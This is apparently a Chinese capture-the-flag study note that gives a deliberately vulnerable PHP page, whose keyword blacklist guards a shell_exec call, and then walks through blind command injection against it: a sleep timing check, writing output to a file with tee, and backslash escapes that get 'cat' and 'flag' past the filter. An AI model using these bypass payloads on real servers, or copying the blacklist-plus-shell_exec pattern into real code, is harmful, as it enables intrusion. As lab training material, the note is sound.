RCE-PLUS (学习记录)

源码

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

过滤了很多东西,但是空格什么的没过滤

发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

判断指令
复制代码
?cmd=ls / | sleep 5
把回显输入文本文件

两种方法

复制代码
?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt

直接访问

绕过对cat和flag的过滤
复制代码
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt

总结

无回显RCE

WAF绕过

相关推荐
嵌入式×边缘AI:打怪升级日志5 小时前
TinaSDK Linux Kernel 基本使用(全志T113开发板)
linux·运维·服务器
亲亲小宝宝鸭5 小时前
拖一拖控件,拖出个问卷(低代码平台)
前端·低代码
江南十四行5 小时前
ReAct Agent 基本理论与项目实战(一)
前端·react.js·前端框架
FQNmxDG4S5 小时前
JVM内存模型详解:堆、栈、方法区与垃圾回收
java·jvm·算法
嵌入式×边缘AI:打怪升级日志6 小时前
Linux内核基础完全入门指南(理论篇)
linux·运维·服务器
Muyuan19986 小时前
28.Paper RAG Agent 开发记录:修复 LLM Rerank 的解析、Fallback 与可验证性
linux·人工智能·windows·python·django·fastapi
We་ct6 小时前
LeetCode 72. 编辑距离:动态规划经典题解
前端·算法·leetcode·typescript·动态规划
jason.zeng@15022076 小时前
Androidr入门环境搭建
java·kotlin
比昨天多敲两行6 小时前
Linux进程概念
linux·运维·服务器
小呆呆6666 小时前
Codex 穷鬼大救星
前端·人工智能·后端